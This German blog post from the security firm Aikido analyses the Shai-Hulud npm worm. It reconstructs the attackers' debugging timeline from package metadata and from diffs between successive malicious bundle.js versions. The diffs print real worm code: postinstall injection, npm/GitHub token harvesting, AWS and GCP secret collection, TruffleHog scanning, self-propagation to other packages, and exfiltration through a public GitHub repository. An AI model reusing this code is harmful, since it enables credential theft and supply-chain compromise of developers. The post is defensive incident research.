Aikido

Bugs in Shai-Hulud: Die Wüste debuggen

Verfasst von
Charlie Eriksen

Hallo Internet, ich bin's wieder, mit weiteren erfreulichen Nachrichten. 

Gestern habe ich mir die Zeit genommen, mich intensiv mit den Shai Hulud Payloads zu beschäftigen. Dabei ist mir etwas Spannendes aufgefallen, das mich dazu veranlasst hat, die Angriffs-Timeline noch detaillierter zu analysieren (oder besser gesagt, in ein Wurmloch zu tauchen). Hier ist, was ich entdeckt habe:

Hier stimmt etwas nicht ganz...

Fällt Ihnen auf, dass es mehrere package.json und bundle.js Dateien gibt? Ja, das ist ein Fehler in der Art und Weise, wie sich der Shai Hulud-Wurm einbettet. Er würde die package.json und bundle.js; er hat einfach eine weitere Kopie davon hinzugefügt. Darüber hinaus liefert er uns vollständige Zeitstempel und den Benutzernamen des lokalen Benutzers, der die Änderung vorgenommen hat.

Wir sehen auch mehrere VERSCHIEDENE Versionen des Wurms. Dies ermöglicht uns, viele Einblicke in die Abfolge der Ereignisse zu gewinnen und zu verstehen, wie sie Dinge live debuggten. Sie wissen, was das bedeutet: Es ist Zeit, unsere Schaufeln herauszuholen und mit dem Graben zu beginnen.

Wie begann der Angriff?

Eine der großen Fragen, die wir hatten, war: Was war der erste Kompromittierungspunkt? Wie brachten die Angreifer den Wurm dazu, sich zu verbreiten? Es wurde sofort klar, als wir begannen, die Metadaten der Archive von npm zu untersuchen. Die Antwort war einfach:

Die Angreifer haben selbst eine beträchtliche Anzahl von Paketen mit der Malware versehen. Höchstwahrscheinlich unter Verwendung von NPM-Tokens, die beim ursprünglichen Nx-Angriff gestohlen wurden. Woran erkennen wir das? Anhand der Benutzer-Metadaten in den Archiven. Für diejenigen, die es nicht wissen: Kali ist der Name einer Linux-Distribution, die von Sicherheitsexperten verwendet wird, nicht von normalen Entwickelnden. Aber wir sehen diesen Fingerabdruck in den ersten 49 Paketen, insgesamt 67 Versionen.

Fehlversuch

Die Angreifer waren zunächst nicht erfolgreich, was sich daran zeigte, dass sie mehrere Versionen einiger Pakete veröffentlichten. Werfen wir einen Blick auf rxnt-authentication, das erste bösartige Paket, das unserer Meinung nach am 14.09.2025 um 17:58:50 UTC veröffentlicht wurde (Version 0.0.3). Das Bild am Anfang des Beitrags stammt von Version 0.0.6, die vierte Version, die die Angreifer veröffentlichten. Hier ist der Skript-Abschnitt des ersten von Angreifern eingefügten package.json:

Sehen Sie den Fehler?

Fällt Ihnen etwas Merkwürdiges auf? Die Großschreibung von postInstall ist falsch. Das i sollte nicht großgeschrieben werden! Wenn wir einen Diff der ersten beiden bundle.js Dateien, sehen wir, dass die Angreifer es schließlich herausgefunden haben:

--- prettified/bundle-1.js	2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postInstall = "node bundle.js"),
+              ((n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];
@@ -168266,67 +168266,90 @@
             architecture: this.mapArchitecture(this.systemInfo.architecture),
           };
         }

Neben der Behebung dieses Problems nahmen die Angreifer noch mehrere weitere Änderungen vor. Ich erweise den Angreifern einen Gefallen und veröffentliche das Changelog für sie, da sie es nicht mitgeliefert haben:

🛠️ Verbesserungen

  • TruffleHog-Modul:
    • Das Timeout für TruggleHog wurde von 120 Sekunden auf 90 Sekunden reduziert.
    • Es wurde eine Race Condition behoben, die auftrat, wenn versucht wurde, TruffleHog auszuführen, bevor das Binary heruntergeladen war.
  • Ein Verweis auf das Stehlen von Azure-Anmeldeinformationen wurde durch GCP ersetzt.
  • Die Anzahl der npm-Pakete, die infiziert werden, wurde von 10 auf 20 erhöht.

Offensichtlich hatten die Angreifer die Absicht, Azure-Anmeldeinformationen zu stehlen, entschieden sich aber stattdessen für GCP. Und sie beschlossen, die Anzahl der Pakete zu verdoppeln, in die sich der Wurm ausbreiten würde.

Ein weiterer Fehler

Am 14.09.2025 um 20:43:42 Uhr veröffentlichten die Angreifer eine weitere Charge von Paketen, wobei die erste Version 0.0.4 von rxnt-authentication mit der korrigierten Großschreibung von postinstall. Wir sehen dann etwa 20 Minuten später, am 14.09.2025 um 21:03:17 Uhr, wie sie auch eine Version veröffentlichen 0.0.5 mit einer interessanten Änderung:

--- prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postinstall = "node bundle.js"),
+              (n.scripts || (n.scripts = {}),
+                (n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];

Sie änderten ihr Skript, um nur das postinstall Skript einzufügen, falls der scripts-Schlüssel in der package.json. Es scheint, dass die Angreifer sich darauf vorbereiteten, die ngx-bootstrap Pakete anzugreifen, was sie am 15. September 2025 um 01:12 Uhr taten. Hier ist der package.json:

{
  "name": "ngx-bootstrap",
  "version": "20.0.3",
  "description": "Angular Bootstrap",
  "author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
  "license": "MIT",
  "schematics": "./schematics/collection.json",
  "peerDependencies": {
    "@angular/animations": "^20.0.2",
    "@angular/common": "^20.0.2",
    "@angular/core": "^20.0.2",
    "@angular/forms": "^20.0.2",
    "rxjs": "^6.5.3 || ^7.4.0"
  },
  "dependencies": {
    "tslib": "^2.3.0"
  },
  "exports": {
    ...
    ".": {
      "types": "./index.d.ts",
      "default": "./fesm2022/ngx-bootstrap.mjs"
    }
  },
  "sideEffects": false,
  "publishConfig": {
    "registry": "https://registry.npmjs.org/",
    "tag": "next"
  },
  "repository": {
    "type": "git",
    "url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
  },
  "bugs": {
    "url": "https://github.com/valor-software/ngx-bootstrap/issues"
  },
  "homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
  "keywords": [
    "angular",
    "bootstap",
    "ng",
    "ng2",
    "angular2",
    "twitter-bootstrap"
  ],
  "module": "fesm2022/ngx-bootstrap.mjs",
  "typings": "index.d.ts"
}

 Beachten Sie, dass keine Skripte vorhanden sind? Der Versuch, den Wurm auf diesem Paket auszuführen, würde nicht funktionieren. Also haben sie es behoben. Und wir sehen, dass das Paket auch von einem kali Benutzer geändert wurde:

Das ngx-bootstrap-Paket, ebenfalls von den Angreifern eingeschleust.

Offensichtlich wurde dieses Paket von den Angreifern selbst hochgeladen, nachdem sie debuggt hatten, warum ihr Wurm abstürzte, als sie versuchten, dieses Paket zu infizieren.

Weitere Fehlerbehebungen

In Version 0.0.6 von rxnt-authentication, sehen wir weitere Änderungen (Zur besseren Übersichtlichkeit gekürzt). 

--- prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js	2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
     },
     26935: (t) => {
       t.exports =
-        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n    exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
     },
     26937: (t, r, n) => {
       (n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
         }
       }
     },
-    32304: (t, r, n) => {
-      (n.r(r), n.d(r, { Application: () => Application }));
-      class Application {
-        constructor(t) {
-          this.config = t;
-        }
-        getConfig() {
-          return { ...this.config };
-        }
-        getRuntimeInfo() {
-          return {
-            nodeVersion: process.version,
-            platform: process.platform,
-            architecture: process.arch,
-            timestamp: new Date(),
-          };
-        }
-      }
-    },
     32348: (t, r, n) => {
       (n.r(r),
         n.d(r, {
@@ -125245,29 +125226,10 @@
         te = n(72438);
     },
     54704: (t, r, n) => {
-      (n.r(r),
-        n.d(r, {
-          exitWithCode: () => exitWithCode,
-          formatOutput: () => formatOutput,
-          logError: () => logError,
-          logInfo: () => logInfo,
-          parseNpmToken: () => parseNpmToken,
-        }));
+      (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
       var F = n(79896),
         te = n(16928),
         re = n(70857);
-      function formatOutput(t) {
-        return JSON.stringify(t, null, 2);
-      }
-      function logInfo(t) {
-        console.log(`[INFO] ${t}`);
-      }
-      function logError(t) {
-        console.error(`[ERROR] ${t}`);
-      }
-      function exitWithCode(t) {
-        process.exit(t);
-      }
       function parseNpmToken(t) {
         const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
           n = t
@@ -156119,7 +156081,7 @@
               await this.octokit.rest.repos.createForAuthenticatedUser({
                 name: t,
                 description: "Shai-Hulud Repository.",
-                private: !0,
+                private: !1,
                 auto_init: !1,
                 has_issues: !1,
                 has_projects: !1,
@@ -156140,11 +156102,6 @@
                     ),
                   ).toString("base64"),
                 })),
-              await this.octokit.rest.repos.update({
-                owner: n.owner.login,
-                repo: n.name,
-                private: !1,
-              }),
               {
                 owner: n.owner.login,
                 repo: n.name,
@@ -156178,20 +156135,6 @@
             return [];
           }
         }
-        async repoExists(t) {
-          try {
-            const r = await this.octokit.rest.users.getAuthenticated();
-            return (
-              await this.octokit.rest.repos.get({
-                owner: r.data.login,
-                repo: t,
-              }),
-              !0
-            );
-          } catch {
-            return !1;
-          }
-        }
       }
     },
     82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
 __webpack_require__.r(__webpack_exports__);
 var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
   _lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
-  _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
-  _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
-  _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
-  _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
-  _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
-  _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+  _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+  _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+  _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+  _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+  _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
 async function main() {
-  const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
-      name: "System Info App",
-      version: "1.0.0",
-      description: "Optimizes system.",
-    }),
-    r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
-    n = t.getRuntimeInfo(),
-    F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
-    te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
-    re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
-    ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
-  let oe = process.env.NPM_TOKEN;
-  oe ||
-    (oe =
+  const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+    r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+    n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+    F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+    te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+  let re = process.env.NPM_TOKEN;
+  re ||
+    (re =
       (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
-  const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
-  let se = null,
-    ae = !1;
+  const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+  let oe = null,
+    ie = !1;
   if (
-    F.isAuthenticated() &&
+    r.isAuthenticated() &&
     ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
       (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
   ) {
-    const t = F.getCurrentToken(),
-      r = await F.getUser();
-    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
-      await F.extraction(t);
-      const n = await F.getOrgs();
-      for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+    const t = r.getCurrentToken(),
+      n = await r.getUser();
+    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+      await r.extraction(t);
+      const F = await r.getOrgs();
+      for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
     }
   }
-  const [ce, le] = await Promise.all([
+  const [se, ae] = await Promise.all([
     (async () => {
       try {
         if (
-          ((se = await ie.validateToken()),
-          (ae = !!se),
-          se &&
+          ((oe = await ne.validateToken()),
+          (ie = !!oe),
+          oe &&
             ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
               (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
         ) {
-          const t = await ie.getPackagesByMaintainer(se, 20);
+          const t = await ne.getPackagesByMaintainer(oe, 20);
           await Promise.all(
             t.map(async (t) => {
               try {
-                await ie.updatePackage(t);
+                await ne.updatePackage(t);
               } catch (t) {}
             }),
           );
         }
       } catch (t) {}
-      return { npmUsername: se, npmTokenValid: ae };
+      return { npmUsername: oe, npmTokenValid: ie };
     })(),
     (async () => {
-      const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+      if (process.env.SKIP_TRUFFLE)
+        return {
+          available: !1,
+          installed: !1,
+          version: null,
+          platform: null,
+          results: null,
+        };
+      const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
       let n = null;
       return (
-        t && (n = await ne.scanFilesystem()),
+        t && (n = await te.scanFilesystem()),
         {
           available: t,
-          installed: ne.isInstalled(),
+          installed: te.isInstalled(),
           version: r,
-          platform: ne.getSupportedPlatform(),
+          platform: te.getSupportedPlatform(),
           results: n,
         }
       );
     })(),
   ]);
-  ((se = ce.npmUsername), (ae = ce.npmTokenValid));
-  let ue = [];
-  (await te.isValid()) && (ue = await te.getAllSecretValues());
-  let de = [];
-  (await re.isValid()) && (de = await re.getAllSecretValues());
-  const pe = {
-    application: t.getConfig(),
+  ((oe = se.npmUsername), (ie = se.npmTokenValid));
+  let ce = [];
+  (await n.isValid()) && (ce = await n.getAllSecretValues());
+  let le = [];
+  (await F.isValid()) && (le = await F.getAllSecretValues());
+  const ue = {
     system: {
-      platform: r.platform,
-      architecture: r.architecture,
-      platformDetailed: r.platformRaw,
-      architectureDetailed: r.archRaw,
+      platform: t.platform,
+      architecture: t.architecture,
+      platformDetailed: t.platformRaw,
+      architectureDetailed: t.archRaw,
     },
-    runtime: n,
     environment: process.env,
     modules: {
       github: {
-        authenticated: F.isAuthenticated(),
-        token: F.getCurrentToken(),
+        authenticated: r.isAuthenticated(),
+        token: r.getCurrentToken(),
+        username: r.getUser(),
       },
-      aws: { secrets: ue },
-      gcp: { secrets: de },
-      truffleHog: le,
-      npm: { token: oe, authenticated: ae, username: se },
+      aws: { secrets: ce },
+      gcp: { secrets: le },
+      truffleHog: ae,
+      npm: { token: re, authenticated: ie, username: oe },
     },
   };
-  (F.isAuthenticated() &&
-    !F.repoExists("Shai-Hulud") &&
-    (await F.makeRepo(
-      "Shai-Hulud",
-      (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
-    )),
-    (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+  (r.isAuthenticated() &&
+    (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+    process.exit(0));
 }
 main().catch((t) => {
   process.exit(0);

Hier sind einige Patch Notes:

✨ Neue Funktionen

  • Bedingter TruffleHog-Scan: Sie können den TruffleHog-Dateisystem-Scan jetzt überspringen, indem Sie die SKIP_TRUFFLE Umgebungsvariable festlegen. 

🛠️ Verbesserungen

  • Verbesserte Repository-Migration: Das Migrationsskript entfernt nun automatisch das .github/workflows Verzeichnis aus migrierten Repositories. 
  • Standardmäßig öffentliche Repositories: Das GitHub-Repository, das zur Speicherung der gesammelten Systemdaten erstellt wird, wird nun standardmäßig als öffentlich erstellt, anstatt nach der Erstellung als privat nachträglich öffentlich gemacht zu werden.
  • Entfernte repoExists-Prüfung: Die Prüfung, ob das Shai-Hulud-Repository bereits existiert, wurde entfernt. Das Skript wird nun bei jedem Durchlauf versuchen, es zu erstellen und sich dabei auf das Verhalten von GitHub verlassen, um Fälle zu handhaben, in denen das Repository bereits existiert.

Erste Community-Verbreitung

Basierend auf dieser Analyse erfolgte die erste Community-Verbreitung über das Paket capacitor-plugin-healthapp Version 0.0.2 am 15. September 2025 um 04:54 Uhr.

Der erste beobachtete Fall von Community-Verbreitung

Es ist das erste Paket, bei dem wir sehen, dass das Archiv einen Benutzer hat, der nicht kali

Wie wurde tinycolor kompromittiert?

Die anfängliche Berichterstattung über diese Kampagne konzentrierte sich stark auf das tinycolor-Paket. Schauen wir es uns also an! Die erste bösartige Version von @ctrl/tinycolor war Version 4.1.1, veröffentlicht am 15. September 2025 um 19:52 Uhr. 

Das tinycolor-Paket wurde wahrscheinlich von den Angreifern eingeschleust.

Aber sehen Sie, ein weiteres kali! Dieses Paket wurde höchstwahrscheinlich nicht durch Community-Verbreitung kompromittiert, sondern von den Angreifern, die versuchten, ein weiteres Paket einzuschleusen, um den Wurm zu starten.

Wie wurde CrowdStrike kompromittiert?

Hier ist das Paket @crowdstrike/foundry-js Version 0.19.1, veröffentlicht am 16. September 2025 um 01:14 Uhr. Beachten Sie, dass der Benutzer kali dies ebenfalls geändert hat..

Die CrowdStrike-Pakete wurden wahrscheinlich von den Angreifern eingeschleust.

Dies deutet darauf hin, dass die Angreifer Zugangsdaten für CrowdStrike besaßen und diese nutzten, um eine weitere Angriffswelle einzuleiten.

Wie wurde NativeScript kompromittiert?

Im Gespräch mit Daniel Pereira, der als Erster die Community auf diese Kampagne aufmerksam machte, wurde er darauf aufmerksam, weil er beobachtete, dass sie das NativeScript-Ökosystem betroffen hatte. Das erste Paket war @nativescript-community/arraybuffers Version 1.1.6 am 15. September 2025 um 09:16 Uhr:

Ein klarer Fall von Community-Verbreitung.

Wichtige Ereignisse

Hier ist eine Zeitleiste wichtiger Ereignisse während der Kampagne. 

Veröffentlichungszeit (UTC) Paket / Version Hinweise
2025-09-14 17:58 rxnt-authentication @ 0.0.3 Erste bösartige Version, falsch großgeschriebenes postinstall
2025-09-14 20:43 rxnt-authentication @ 0.0.4 Behebt das Groß-/Kleinschreibungsproblem im Wurm.
2025-09-14 21:03 rxnt-authentication @ 0.0.5 Behebt den Fehler, der dazu führte, dass der Wurm fehlschlug, wenn eine package.json-Datei noch keine Skripte enthielt.
2025-09-15 01:12 ngx-bootstrap @ 20.0.3 Erstes kompromittiertes ngx-bootstrap-Paket, das von Angreifern eingeschleust wurde, nachdem der Fehler behoben wurde, der auftrat, wenn ein Paket keine Skripte hatte.
2025-09-15 04:54 capacitor-plugin-healthapp @ 0.0.2 Erste Community-Verbreitung erkannt.
2025-09-15 09:16 @nativescript-community/arraybuffers @ 1.1.6 Erstes NativeScript-Paket, das durch Community-Verbreitung kompromittiert wurde.
2025-09-15 15:45 rxnt-authentication @ 0.0.6 Eine weitere Version wurde von den Angreifern eingeschleust, mit weiteren Korrekturen für den Wurm.
2025-09-15 19:52 @ctrl/tinycolor @ 4.1.1 Die erste bösartige Version von tinycolor, verbreitet von den Angreifern.
2025-09-16 01:14 @crowdstrike/foundry-js @ 0.19.1 CrowdStrike-Pakete werden von Angreifern mit Malware versehen.

Wie geht es von hier aus weiter?

Diese Shai Hulud-Kampagne stellt eine signifikante Eskalation des ursprünglichen S1ngularity-Angriffs dar, der mit Nx begann. Wir beobachten, wie die Angreifer mehrere Versuche unternahmen, Bugs zu beheben und den Wurm dazu zu bringen, sich im npm-Ökosystem zu verbreiten. Die logischste Erklärung, die wir gefunden haben, ist, dass die Angreifer auf Zugangsdaten saßen, die sie beim ursprünglichen Angriff gestohlen hatten, und darauf warteten, sie zum richtigen Zeitpunkt einzusetzen.

Daher konnten wir beobachten, wie die Angreifer über mehrere Tage hinweg mehrere Angriffswellen initiierten, da sich ihr Versuch nicht sofort mit signifikanter Geschwindigkeit verbreitete. Sie waren nicht zufrieden damit, wie langsam er sich ausbreitete, was ein großes Glück für uns ist. 

Aber es wirft eine unbequeme Wahrheit auf: Wenn sie seit mehreren Wochen auf diesen Zugangsdaten saßen und nun noch MEHR Zugangsdaten stehlen konnten, ist dies wahrscheinlich nicht das Letzte, was wir von ihnen sehen werden. Vorerst hat der Wurm die noch nicht die Escape-Geschwindigkeit erreicht, um wirklich viral zu werden. 

Es wäre töricht anzunehmen, dass die Angreifer ihre besten Asse im Ärmel, sprich die Zugangsdaten, die sie in der Hinterhand haben, bereits ausgespielt haben. Es ist immer noch unklar, was der Anreiz und das Motiv der Angreifer sind, was darauf hindeutet, dass diese Saga noch nicht vorbei ist. Es scheint mehr als wahrscheinlich, dass uns eine Trilogie einer Geschichte bevorsteht, die noch erzählt werden muss. Und im Moment glaube ich nicht, dass das Ende ein glückliches sein wird. 

Teilen:

https://www.aikido.dev/blog/bugs-in-shai-hulud-debugging-the-desert

Abonnieren Sie Bedrohungs-News.

Starten Sie noch heute, kostenlos.

Kostenlos starten
Jetzt scannen
Ohne Kreditkarte

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.